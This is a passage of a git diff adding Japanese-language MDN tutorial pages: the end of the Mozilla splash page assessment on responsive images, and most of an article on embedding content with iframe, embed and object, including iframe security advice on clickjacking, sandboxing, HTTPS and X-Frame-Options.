幅のバージョンを作成します。</p> + +<ul> + <li><code>firefox_logo-only_RGB.png</code></li> + <li><code>firefox-addons.jpg</code></li> + <li><code>mozilla-dinosaur-head.png</code></li> +</ul> + +<p>たとえば、<code>firefoxlogo400.png</code> と <code>firefoxlogo120.png</code> のように、それらを判りやすい名前にしてください。</p> + +<p><code>mdn.svg</code> に加えて、これらの画像は、<code>further-info</code> 領域内のさらなるリソースにリンクするアイコンになります。 また、サイトヘッダーの firefox ロゴにもリンクします。 これらすべてのコピーを <code>index.html</code> と同じディレクトリに保存します。</p> + +<p>次に、<code>red-panda.jpg</code> の 1200 ピクセル幅のランドスケープバージョンと、パンダをより近くに見せてくれる 600 ピクセル幅のポートレートバージョンを作成します。 繰り返しますが、それらを簡単に識別できるように、判りやすい名前にしてください。 これらの両方のコピーを <code>index.html</code> と同じディレクトリに保存します。</p> + +<div class="note"> +<p><strong>メモ</strong>: JPG 画像と PNG 画像を最適化して、できるだけ小さくして、それでも見栄えを良くしてください。 <a href="https://tinypng.com/">tinypng.com</a> は簡単にこれを行うための素晴らしいサービスです。</p> +</div> + +<h3 id="Adding_a_logo_to_the_header" name="Adding_a_logo_to_the_header">ヘッダーにロゴを追加する</h3> + +<p>{{htmlelement("header")}} 要素の中に、小さなバージョンの Firefox ロゴをヘッダーに埋め込む {{htmlelement("img")}} 要素を追加します。</p> + +<h3 id="Adding_a_video_to_the_main_article_content" name="Adding_a_video_to_the_main_article_content">主要記事のコンテンツに動画を追加する</h3> + +<p>{{htmlelement("article")}} 要素の内側（開始タグのすぐ下）に、 <a href="https://www.youtube.com/watch?v=ojcNcvb1olg">https://www.youtube.com/watch?v=ojcNcvb1olg</a> にある YouTube 動画を適切な YouTube ツールを使用してコードを生成して埋め込みます。 動画の幅は 400 ピクセルです。</p> + +<h3 id="Adding_responsive_images_to_the_further_info_links" name="Adding_responsive_images_to_the_further_info_links">さらなる情報リンクにレスポンシブ画像を追加する</h3> + +<p><code>further-info</code> クラスを持つ {{htmlelement("div")}} の中には、それぞれが興味深い Mozilla 関連のページにリンクする4つの {{htmlelement("a")}} 要素があります。 このセクションを完成させるには、適切な {{htmlattrxref("src", "img")}}、{{htmlattrxref("alt", "img")}}、{{htmlattrxref("srcset", "img")}}、{{htmlattrxref("sizes", "img")}} の各属性を含む {{htmlelement("img")}} 要素をそれぞれの内部に挿入する必要があります。</p> + +<p>いずれの場合でも (1つを除く — どれが本質的にレスポンシブですか？)、ブラウザーにビューポートの幅が 500px 以下の場合は 120px 幅のバージョン、それ以外の場合は 400px 幅のバージョンを提供したい。</p> + +<p>正しい画像と正しいリンクが一致していることを確認してください！</p> + +<div class="note"> +<p><strong>メモ</strong>: <code>srcset</code> と <code>sizes</code> の例を適切にテストするには、サイトをサーバーにアップロードする必要があります (<a href="/ja/docs/Learn/Common_questions/Using_Github_pages">Github ページ</a>を使用するのが簡単で無料の解決策です)。 そして、そこから Firefox の <a href="/ja/docs/Tools/Network_Monitor">Network Monitor</a> などのツールを使用して正しく動作しているかどうかをテストできます。</p> +</div> + +<h3 id="An_art_directed_red_panda" name="An_art_directed_red_panda">アートディレクションされたレッサーパンダ</h3> + +<p><code>red-panda</code> クラスを持つ {{htmlelement("div")}} の中に、ビューポートの幅が 600px 以下の場合は小さなポートレートのパンダ画像を提供する {{htmlelement("picture")}} 要素を挿入し、それ以外の場合は大きなランドスケープ画像を挿入します。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>以下のスクリーンショットは、広い画面と狭い画面で、スプラッシュページが正しくマークアップされた後にどのように見えるかを示しています。</p> + +<p><img alt="サンプルのスプラッシュページの広い画面のショット" src="https://mdn.mozillademos.org/files/12946/wide-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 620px; margin: 0px auto; width: 700px;"></p> + +<p><img alt="サンプルのスプラッシュページの狭い画面のショット" src="https://mdn.mozillademos.org/files/12944/narrow-shot.png" style="border-style: solid; border-width: 1px; display: block; height: 1069px; margin: 0px auto; width: 320px;"></p> + +<h2 id="Assessment" name="Assessment">評価</h2> + +<p>組織的コースの一環としてこの評価に従っている場合は、採点のために作品を教師や指導者に渡すことができるはずです。 自己学習をしている場合は、<a href="https://discourse.mozilla.org/t/mozilla-splash-page-assignment/24679">この演習についてのディスカッションスレッド</a>や <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、かなり簡単に採点の手引きを得ることができます。 まず演習を試してみてください — 不正行為によって得られるものは何もありません！</p> + +<div class="blockIndicator note"> +<p><strong>メモ</strong>: 評価試験を Chrome ブラウザーのデベロッパーツールで行った場合、「レスポンシブビュー」でどんなに幅を狭く設定しても正しい画像が読み込めないことがあります。これは Chrome の特性のようです。 Firefox ブラウザーは (HTML が正しければ) 正しい画像を読み込みます。</p> +</div> + +<p>{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTMLの画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">動画と音声のコンテンツ</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies"><object> から <iframe> へ — その他の埋め込み技術</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">ウェブにベクターグラフィックスを追加する</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozillaのスプラッシュページ</a></li> +</ul> diff --git a/files/ja/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/ja/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html new file mode 100644 index 0000000000..1623398dd0 --- /dev/null +++ b/files/ja/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html @@ -0,0 +1,399 @@ +--- +title: object から iframe へ — その他の埋め込み技術 +slug: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +tags: + - Article + - Beginner + - CodingScripting + - Embedding + - Flash + - Guide + - HTML + - Learn + - Multimedia and embedding + - Object + - embed + - iframe +translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding")}}</div> + +<p class="summary">そろそろ、画像、動画、音声など、ウェブページへの埋め込みのコツがつかめてきたはずです。ここでは、少し横道にそれて、ウェブページに様々な種類のコンテンツを埋め込むことができる要素、 {{htmlelement("iframe")}}、 {{htmlelement("embed")}}、 {{htmlelement("object")}} を見てみたいと思います。 <code><iframe></code> は他のウェブページを埋め込むためのもので、他の2つの要素は PDF、SVG、 さらに Flash — もうすぐなくなる技術ですが、まだ時々見かけるもの — も、埋め込むことができます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピュータリテラシー、<a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">インストールされた基本ソフトウェア</a>、<a href="/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルの操作</a>に関する基本知識、HTML の基礎知識 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML の入門</a>)、およびこのモジュールの前の記事</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>Flash ムービーなどのウェブページのように、{{htmlelement("object")}}、{{htmlelement("embed")}}、{{htmlelement("iframe")}} を使用してアイテムをウェブページに埋め込む方法を学びます。</td> + </tr> + </tbody> +</table> + +<h2 id="A_short_history_of_embedding" name="A_short_history_of_embedding">埋め込みの短い歴史</h2> + +<p>昔、ウェブ上では、<strong>フレーム</strong>を使ってウェブサイトを作るのが一般的でした - ウェブサイトの小さな部分が個々の HTML ページに保存されていました。これらは、<strong>フレームセット</strong>と呼ばれるマスター文書に埋め込まれていました。これにより、テーブルの列と行のサイジングのように、各フレームが埋めた画面上の領域を指定することができました。これらは90年代半ばから後半にかけてのクールさの極みと考えられていました。このような小さな塊に分割されたウェブページを持っているとダウンロード速度が向上したという証拠がありました — 特にネットワーク接続が非常に遅いため、特に顕著です。それらは多くの問題を抱えていましたが、ネットワーク速度がより速くなるにつれて、これ以上の利点はなく、あなたはそれらがもう使用されているのを見ていません。</p> + +<p>ちょっと後で(90年代後半、2000年代初頭)、{{Glossary("Java","Java アプレット")}}や {{Glossary("Adobe_Flash","Flash")}} などのプラグイン技術が普及しました。これにより、ウェブ開発者は動画やアニメーションなどのウェブページに豊富なコンテンツを埋め込むことができました。これらの技術を埋め込むことは、{{htmlelement("object")}} や、あまり使われていない {{htmlelement("embed")}} などの要素によって実現され、当時は非常に便利でした。アクセシビリティ、セキュリティ、ファイルサイズなど、多くの問題が発生して以来、それらは流行していませんでした。最近のモバイルデバイスのほとんどは、このようなプラグインをサポートしておらず、デスクトップのサポートは出口にあります。</p> + +<p>最後に、{{htmlelement("iframe")}} 要素が現れました({{htmlelement("canvas")}}、{{htmlelement("video")}} などのコンテンツを埋め込む他の方法と一緒に)。これは、ウェブ文書全体を別のウェブ文書に埋め込む方法を提供し、あたかも {{htmlelement("img")}} か他の要素であるかのように、今日では普通に使用されています。</p> + +<p>歴史の授業を終了して、これらのいくつかの使い方を見てみましょう。</p> + +<h2 id="Active_learning_classic_embedding_uses" name="Active_learning_classic_embedding_uses">アクティブラーニング: 従来の埋め込みを使う</h2> + +<p>この記事では、能動的学習セクションにまっすぐ飛び込んで、埋め込み技術が有用であるかどうかをすぐに知ることができます。オンラインの世界では <a href="https://www.youtube.com">Youtube</a> はとてもよく知られていますが、多くの人は利用可能な共有施設については知らないのです。YouTube が {{htmlelement("iframe")}} を使って好きなページに動画を埋め込むことができる仕組みを見てみましょう。</p> + +<ol> + <li>まず、Youtube へ行き、あなたが好きな動画を見つけてください。</li> + <li>動画の下に [共有] ボタンがあります。これを選択すると、共有オプションが表示されます。</li> + <li>[埋め込む] ボタンを選択すると、<code><iframe></code> コードがいくつか表示されます。これをコピーします。</li> + <li>下の入力ボックスにそれを挿入し、結果が出力にあるかどうかを確認します。</li> +</ol> + +<p>ボーナスポイントとして、例の中に <a href="https://www.google.com/maps/">Google マップ</a>を埋め込むこともできます。</p> + +<ol> + <li>Google マップへ行き、好きな地図を見つけます。</li> + <li>UI の左上にあるハンバーガーメニュー(3本の水平線)をクリックします。</li> + <li>[地図を共有または埋め込む] オプションを選択します。</li> + <li>[地図を埋め込む] オプションを選択します。これは、<code><iframe></code> コードをいくつか提供します。これをコピーします。</li> + <li>下の入力ボックスにそれを挿入し、結果が出力にあるかどうかを確認します。</li> +</ol> + +<p>間違えた場合は、[Reset] ボタンを使用してリセットすることができます。あなたが本当に立ち往生したら、[Show solution] ボタンを押して回答を見てください。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><h2>Live output</h2> + +<div class="output" style="min-height: 250px;"> +</div> + +<h2>Editable code</h2> +<p class="a11y-label">Press Esc to move focus away from the code area (Tab inserts a tab character).</p> + +<textarea id="code" class="input" style="width: 95%;min-height: 100px;"> +</textarea> + +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div></pre> + +<pre class="brush: css notranslate">html { + font-family: sans-serif; +} + +h2 { + font-size: 16px; +} + +.a11y-label { + margin: 0; + text-align: right; + font-size: 0.7rem; + width: 98%; +} + +body { + margin: 10px; + background: #f5f9fa; +}</pre> + +<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +var reset = document.getElementById('reset'); +var solution = document.getElementById('solution'); +var output = document.querySelector('.output'); +var code = textarea.value; +var userEntry = textarea.value; + +function updateCode() { + output.innerHTML = textarea.value; +} + +reset.addEventListener('click', function() { + textarea.value = code; + userEntry = textarea.value; + solutionEntry = htmlSolution; + solution.value = 'Show solution'; + updateCode(); +}); + +solution.addEventListener('click', function() { + if(solution.value === 'Show solution') { + textarea.value = solutionEntry; + solution.value = 'Hide solution'; + } else { + textarea.value = userEntry; + solution.value = 'Show solution'; + } + updateCode(); +}); + +var htmlSolution = '<iframe width="420" height="315" src="https://www.youtube.com/embed/QH2-TGUlwu4" frameborder="0" allowfullscreen>\n</iframe>\n\n<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d37995.65748333395!2d-2.273568166412784!3d53.473310471916975!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x487bae6c05743d3d%3A0xf82fddd1e49fc0a1!2sThe+Lowry!5e0!3m2!1sen!2suk!4v1518171785211" width="600" height="450" frameborder="0" style="border:0" allowfullscreen>\n</iframe>'; +var solutionEntry = htmlSolution; + +textarea.addEventListener('input', updateCode); +window.addEventListener('load', updateCode); + +// stop tab key tabbing out of textarea and +// make it write a tab at the caret position instead + +textarea.onkeydown = function(e){ + if (e.keyCode === 9) { + e.preventDefault(); + insertAtCaret('\t'); + } + + if (e.keyCode === 27) { + textarea.blur(); + } +}; + +function insertAtCaret(text) { + var scrollPos = textarea.scrollTop; + var caretPos = textarea.selectionStart; + + var front = (textarea.value).substring(0, caretPos); + var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length); + textarea.value = front + text + back; + caretPos = caretPos + text.length; + textarea.selectionStart = caretPos; + textarea.selectionEnd = caretPos; + textarea.focus(); + textarea.scrollTop = scrollPos; +} + +// Update the saved userCode every time the user updates the text area code + +textarea.onkeyup = function(){ + // We only want to save the state when the user code is being shown, + // not the solution, so that solution is not saved over the user code + if(solution.value === 'Show solution') { + userEntry = textarea.value; + } else { + solutionEntry = textarea.value; + } + + updateCode(); +};</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p> + +<h2 id="Iframes_in_detail" name="Iframes_in_detail">iframe の詳細</h2> + +<p>それは簡単で楽しいものでしたか? {{htmlelement("iframe")}} 要素は、他のウェブ文書を現在の文書に埋め込むことができるように設計されています。これは、直接制御できない可能性のある第三者のコンテンツをウェブサイトに組み込むのに適していて、独自のバージョンを実装する必要はありません — オンライン動画プロバイダの動画、<a href="https://disqus.com/">Disqus</a> のようなコメントシステム、オンライン地図プロバイダの地図、広告バナーなど。このコースで使用しているライブ編集可能な例は、<code><iframe></code> を使用して実装されています。</p> + +<p><code><iframe></code> で検討すべき{{anch("Security concerns","セキュリティ上の懸念")}}がいくつかあり、これについては以下で説明しますが、あなたのウェブサイトで使用しないでください — ちょっとした知識と慎重な考えが必要です。コードを少し詳しく見てみましょう。あなたのウェブページの1つに MDN の用語集を含めることを考えていたら、次のようなことを試すことができます。</p> + +<pre class="notranslate"><iframe src="https://developer.mozilla.org/en-US/docs/Glossary" + width="100%" height="500" frameborder="0" + allowfullscreen sandbox> + <p> + <a href="https://developer.mozilla.org/en-US/docs/Glossary"> + iframe をサポートしていないブラウザーのための代替リンク + </a> + </p> +</iframe></pre> + +<p>この例には、<code><iframe></code> の使用に必要な基本的な要素が含まれています。</p> + +<dl> + <dt>{{htmlattrxref('allowfullscreen','iframe')}}</dt> + <dd>設定されている場合、<code><iframe></code> は、 <a href="/ja/docs/Web/API/Fullscreen_API">Full Screen API</a> を使用してフルスクリーンモードにすることができます(この記事の範囲外です)。</dd> + <dt>{{htmlattrxref('frameborder','iframe')}}</dt> + <dd>1 に設定すると、これはブラウザーにこのフレームと他のフレームとの境界を描画するように指示します。これは既定の動作です。0 は境界を取り去ります。{{Glossary('CSS')}} で {{cssxref('border')}}<code>: none;</code> を使用すると、同じ効果がより良く達成できるので、この属性を使用することはもうお勧めできません。</dd> + <dt>{{htmlattrxref('src','iframe')}}</dt> + <dd>この属性は、{{htmlelement("video")}} や {{htmlelement("img")}} と同様に、埋め込む文書の URL を指すパスを含んでいます。</dd> + <dt>{{htmlattrxref('width','iframe')}} と {{htmlattrxref('height','iframe')}}</dt> + <dd>これらの属性は、iframe の幅と高さを指定します。</dd> + <dt>代替コンテンツ</dt> + <dd>{{htmlelement("video")}} のような他の要素と同じように、 <code><iframe></code> と <code></iframe></code> のタグの間に、ブラウザーが <code><iframe></code> をサポートしていない場合に表示される代替コンテンツを含めることができます。この場合、代わりにページへのリンクが含まれています。最近では、<code><iframe></code> をサポートしていないブラウザーを見つけることはまずありません。</dd> + <dt>{{htmlattrxref('sandbox','iframe')}}</dt> + <dd>この属性は、他の <code><iframe></code> の機能よりも若干現代的なブラウザー(たとえば、IE 10 以上)で機能し、高度なセキュリティ設定を要求します。これについては、次のセクションで詳しく説明します。</dd> +</dl> + +<div class="note"> +<p><strong>メモ</strong>: 速度を向上させるためには、メインコンテンツの読み込みが完了した後に iframe の <code>src</code> 属性を JavaScript で設定することをお勧めします。これにより、ページがより早く使用できるようになり、公式ページの読み込み時間が短縮されます(重要な {{glossary("SEO")}} の測定基準)。</p> +</div> + +<h3 id="Security_concerns" name="Security_concerns">セキュリティ上の懸念</h3> + +<p>上ではセキュリティ上の懸念について言及しました。これについてもう少し詳しく説明しましょう。あなたはこのコンテンツのすべてを初めから完全に理解することを期待していません。この懸念を認識して、より経験豊かになり、あなたの実験や作業で <code><iframe></code> の使用を検討し始める参考にしてください。また、恐怖を感じ、<code><iframe></code> を使わない必要はありません — 注意するだけです。</p> + +<p>ブラウザーメーカーやウェブ開発者は、iframe がウェブ上の悪意ある人物(しばしば<strong>ハッカー</strong>、またはより正確には<strong>クラッカー</strong>と呼ばれます)の共通のターゲット(公式の用語: <strong>攻撃ベクター</strong>)であるということを苦労して学びました。悪意ある人物は、あなたのウェブページを悪意を持って改ざんすることや、ユーザ名やパスワードなどの機密情報を明らかにするなど、人を騙し望んでいないことを行います。このため、仕様技術者とブラウザー開発者は、<code><iframe></code> をより安全にするためのさまざまなセキュリティ・メカニズムを開発しました。また、考慮すべき最善の措置もあります — これらのいくつかを以下で説明します。</p> + +<div class="note"> +<p>{{interwiki('wikipedia','クリックジャッキング')}}は、ハッカーが目に見えない iframe をあなたの文書に埋め込んだり(あなたの文書を自分の悪意のあるウェブサイトに埋め込んだり)して、ユーザの操作を乗っ取るための一般的な iframe 攻撃の一種です。これは、ユーザを誤解させたり機密データを盗む一般的な方法です。</p> +</div> + +<p>簡単な例ですが、先ほど紹介した例をブラウザーに読み込んでみましょう。Github に<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html">ライブ</a>が公開されています(<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/iframe-detail.html">ソースコード</a>も参照してください)。実際にページに何も表示されませんが、<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザーの開発者ツール</a>のコンソールに、理由を示すメッセージが表示されます。Firefox では、"Load denied by X-Frame-Options: https://developer.mozilla.org/en-US/docs/Glossary does not permit framing." (X-Frame-Optionsによって読み込みが拒否されました: https://developer.mozilla.org/en-US/docs/Glossary はフレーミングを許可していません。)というメッセージが表示されます。これは、MDN を作成した開発者が、<code><iframe></code> 内に埋め込まれないようにウェブサイトのページを提供する設定をサーバーに組み込んだためです(下記の {{anch("Configure CSP directives","CSP ディレクティブの設定")}}を参照してください)。これは、理にかなっています — あなたのサイトにそれらを埋め込んであなた自身のものと主張するようなことをしない限り、MDN のページ全体が他のページに埋め込まれるのは本当に意味がありません — または、クリックジャッキングを介してデータを盗み出そうとする。どちらも本当に悪いことです。さらに、誰もがこれをやり始めたら、すべての追加の帯域幅が Mozilla に多額の費用をかけるようになります。</p> + +<h4 id="Only_embed_when_necessary" name="Only_embed_when_necessary">必要なときにのみ埋め込みます</h4> + +<p>場合によっては、第三者のコンテンツを埋め込むことが理にかなっています — youtube 動画や地図のようなものですが、完全に必要なときに第三者のコンテンツだけを埋め込むのであれば、頭を悩ますことはありません。ウェブセキュリティのための良い経験則は、「慎重すぎることは決してありません。もしあなたがそれを作ったら、とにかくそれをもう一度チェックしてください。他の誰かがそれを作ったら、そうでないと証明されるまでそれは危険です。」ということです。</p> + +<div> +<p>セキュリティのほかに、知的財産の問題にも注意する必要があります。ほとんどのコンテンツは著作権で保護されており、オフラインでもオンラインでも、予期していないコンテンツ(例えば、<a href="https://commons.wikimedia.org/wiki/%E3%83%A1%E3%82%A4%E3%83%B3%E3%83%9A%E3%83%BC%E3%82%B8?uselang=ja">ウィキメディアコモンズ</a>のほとんどの画像)でさえもあります。あなたが所有しているか、または所有者があなたに書面による明白な許可を与えていない限り、ウェブページにコンテンツを表示しないでください。著作権侵害に対する罰則は厳しいものです。繰り返しますが、決して慎重すぎることはありません。</p> + +<p>コンテンツにライセンスが付与されている場合は、ライセンス条項に従わなければなりません。たとえば、MDN のコンテンツは <a href="/ja/docs/MDN/About#Copyrights_and_licenses">CC-BY-SA でライセンス</a>されています。つまり、コンテンツを大幅に変更した場合でも、コンテンツを引用する際には、<a href="https://wiki.creativecommons.org/wiki/Best_practices_for_attribution">適切にクレジットを表示する</a>(英語)必要があります。</p> +</div> + +<h4 id="Use_HTTPS" name="Use_HTTPS">HTTPS を使用する</h4> + +<p>{{Glossary("HTTPS")}} は {{Glossary("HTTP")}} の暗号化されたバージョンです。可能であれば、HTTPS を使用してウェブサイトを提供する必要があります。</p> + +<ol> + <li>HTTPS を使用すると、転送中にリモートコンテンツが改ざんされる可能性が減り、</li> + <li>HTTPS は、埋め込みコンテンツが親文書内のコンテンツにアクセスすることを防止し、逆も同様です。</li> +</ol> + +<p>HTTPS を使用するには、高価なセキュリティ証明書が必要です(ただし、<a href="https://letsencrypt.org/">Let's Encrypt</a> で簡単にできます) — 入手できない場合は、親文書を HTTP で配信できます。しかし、上記の HTTPS の2つ目の利点のため、コストにかかわらず、第三者のコンテンツを HTTP に埋め込むことは絶対にしないでください(最良の場合のシナリオでは、ユーザのウェブブラウザーは恐ろしい警告を表示します)。<code><iframe></code> を使用してコンテンツを埋め込むことができる評判の良い企業はすべて、HTTPS 経由で利用できるようになります — たとえば、Google マップや YouTube からコンテンツを埋め込む場合は、<code><iframe></code> の <code>src</code> 属性内の URL を調べます。</p> + +<div class="note"> +<p><strong>メモ</strong>: <a href="/ja/docs/Learn/Common_questions/Using_Github_pages">Github のページ</a>では、既定で HTTPS 経由でコンテンツを提供できるため、コンテンツのホスティングに便利です。異なるホスティングを使用していて、わからない場合は、ホスティングプロバイダに問い合わせてください。</p> +</div> + +<h4 id="Always_use_the_sandbox_attribute" name="Always_use_the_sandbox_attribute">常に <code>sandbox</code> 属性を使用する</h4> + +<p>攻撃者には、あなたのウェブサイトで悪いことを行うことができるような力を与えたくないので、埋め込みコンテンツには、その仕事を行うために必要な権限のみを与えるべきです。もちろん、これは自分のコンテンツにも当てはまります。適切に(またはテスト用に)使用できるが、コードベースの残りの部分に何らかの害(偶発的または悪意のある)を及ぼすことができないコード用のコンテナは、<a href="https://ja.wikipedia.org/wiki/%E3%82%B5%E3%83%B3%E3%83%89%E3%83%9C%E3%83%83%E3%82%AF%E3%82%B9_(%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3)">サンドボックス</a>と呼ばれます。</p> + +<p>サンドボックスにないコンテンツはあまりにも多くのことを行うことができます( JavaScript の実行、フォームの送信、ポップアップウィンドウなど)。既定では、前述の例に示すように、パラメーターなしの <code>sandbox</code> 属性を使用して、使用可能なすべての制限を課す必要があります。</p> + +<p>絶対に必要な場合は、権限を1つずつ追加することができます(<code>sandbox=""</code> 属性値内に) — 使用可能なすべてのオプションについては、{{htmlattrxref('sandbox','iframe')}} のリファレンスのエントリを参照してください。重要な注意点の1つは、 <code>sandbox</code> 属性に <code>allow-scripts</code> と <code>allow-same-origin</code> の両方を追加しないことです。この場合、埋め込みコンテンツは、サイトのスクリプトの実行を停止する同一オリジン・セキュリティポリシーをバイパスし、JavaScript を使用してサンドボックスを完全に無効にします。</p> + +<div class="note"> +<p><strong>メモ</strong>: 攻撃者が欺いて悪意のあるコンテンツ(iframe 外にある)を直接訪問させることができれば、サンドボックスは保護を提供しません。特定のコンテンツが悪意のあるコンテンツ(ユーザ生成コンテンツなど)である可能性がある場合は、別の{{glossary("domain","ドメイン")}}からメインサイトへ配信してください。</p> +</div> + +<h4 id="Configure_CSP_directives" name="Configure_CSP_directives">CSP ディレクティブの設定</h4> + +<p>{{Glossary("CSP")}} は<strong><a href="/ja/docs/Web/Security/CSP">コンテンツセキュリティポリシー</a></strong>の略で、HTML 文書のセキュリティを強化するために設計された<a href="/ja/docs/Web/Security/CSP/CSP_policy_directives">一連の HTTP ヘッダー</a>(ウェブサーバーから配信されたときにウェブページとともに送信されるメタデータ)を提供します。<code><iframe></code> を保護する場合、<a href="/ja/docs/Web/HTTP/X-Frame-Options">適切な X-Frame-Options ヘッダーを送信するようにサーバーを構成</a>できます。これにより、他のウェブサイトがそのウェブページにあなたのコンテンツを埋め込むのを防ぐことができます({{interwiki('wikipedia','クリックジャッキング')}}や他の攻撃のホストを可能にする)。以前に見たように、これはまさに MDN 開発者が行ったことです。</p> + +<div class="note"> +<p><strong>メモ</strong>: Frederik Braun 氏の投稿 <a href="https://blog.mozilla.org/security/2013/12/12/on-the-x-frame-options-security-header/">X-Frame-Options セキュリティヘッダーについて</a>(英語)で、このトピックの背景情報を読むことができます。明らかに、これは、この記事の詳述の範囲外です。</p> +</div> + +<h2 id="The_<embed>_and_<object>_elements" name="The_<embed>_and_<object>_elements"><embed> 要素と <object> 要素</h2> + +<p>{{htmlelement("embed")}} 要素と {{htmlelement("object")}} 要素は、{{htmlelement("iframe")}} とは異なる機能を果たします。これらの要素は、Java アプレットや Flash などのプラグイン技術、PDF(ブラウザーで PDF プラグインを使用して表示できる)、動画、SVG、画像などのコンテンツを含む、複数のタイプの外部コンテンツを埋め込む汎用埋め込みツールです!</p> + +<div class="note"> +<p><strong>メモ</strong>: <strong>プラグイン</strong>は、ブラウザーがネイティブに読むことができないコンテンツへのアクセスを提供するソフトウェアです。</p> +</div> + +<p>しかし、あなたはこれらの要素を大いに利用することはまずありません。アプレットは何年も使われておらず、Flash は多くの理由から人気がなくなりました (下記の{{anch("The case against plugins","プラグインに対するケース")}}を参照)。PDF は埋め込まれたものよりもリンクされている傾向があり、画像や動画などの他のコンテンツには、それらを扱うためのずっと優れた、より簡単な要素があります。プラグインとこれらの埋め込み方法は、従来の技術ですが、イントラネットやエンタープライズプロジェクトのような特定の状況でそれらを見かけた場合に備えて言及しています。</p> + +<p>プラグインのコンテンツを埋め込む必要がある場合の最低限必要な情報です。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col"></th> + <th scope="col">{{htmlelement("embed")}}</th> + <th scope="col">{{htmlelement("object")}}</th> + </tr> + </thead> + <tbody> + <tr> + <td>埋め込みコンテンツの {{glossary("URL")}}</td> + <td>{{htmlattrxref('src','embed')}}</td> + <td>{{htmlattrxref('data','object')}}</td> + </tr> + <tr> + <td>埋め込みコンテンツの正確な{{glossary("MIME type", 'メディアタイプ')}}</td> + <td>{{htmlattrxref('type','embed')}}</td> + <td>{{htmlattrxref('type','object')}}</td> + </tr> + <tr> + <td>プラグインによって制御されるボックスの高さと幅 (CSS ピクセル単位)</td> + <td>{{htmlattrxref('height','embed')}}<br> + {{htmlattrxref('width','embed')}}</td> + <td>{{htmlattrxref('height','object')}}<br> + {{htmlattrxref('width','object')}}</td> + </tr> + <tr> + <td>プラグインにパラメータとして供給するための名前と値</td> + <td>それらの名前と値を持つ特別な属性</td> + <td><code><object></code> 内に含まれる単一タグの {{htmlelement("param")}} 要素</td> + </tr> + <tr> + <td>利用不可能なリソースに対する代替として独立した HTML コンテンツ</td> + <td>サポートされていません(<code><noembed></code> は廃止されました)</td> + <td><code><object></code> 内の、<code><param></code> 要素の後に含まれる</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>メモ</strong>: <code><object></code> には、<code>data</code> 属性、<code>type</code> 属性、またはその両方が必要です。両方を使用する場合は、{{htmlattrxref('typemustmatch','object')}} 属性を使用することもできます(この記事の執筆時点では、Firefox でのみ実装されています)。<code>typemustmatch</code> は、<code>type</code> 属性が正しいメディアタイプを提供していない限り、埋め込みファイルが実行されないようにします。<code>typemustmatch</code> は、異なる{{glossary("origin","オリジン")}}のコンテンツを埋め込んでいる場合に、大きなセキュリティ上の利点をもたらすことができます(攻撃者がプラグインを介して任意のスクリプトを実行することを防ぐことができます)。</p> +</div> + +<p>次に、{{htmlelement("embed")}} 要素を使用して Flash ムービーを埋め込む例を示します(Github で<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">ライブ</a>を見て、<a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/other-embedding-technologies/embed-flash.html">ソースコード</a>も確認してください)。</p> + +<pre class="brush: html notranslate"><embed src="whoosh.swf" quality="medium" + bgcolor="#ffffff" width="550" height="400" + name="whoosh" align="middle" allowScriptAccess="sameDomain" + allowFullScreen="false" type="application/x-shockwave-flash" + pluginspage="http://www.macromedia.com/go/getflashplayer"></pre> + +<p>かなり恐ろしいですね。Adobe Flash ツールで生成された HTML は、<code><embed></code> 要素が埋め込まれた <code><object></code> 要素を使用して、すべてのベースをカバーするために悪化する傾向がありました(例を参照してください)。Flash は、HTML5 動画の代替コンテンツとしても使用されていましたが、これは必要ではないと見られています。</p> + +<p>次に、PDF 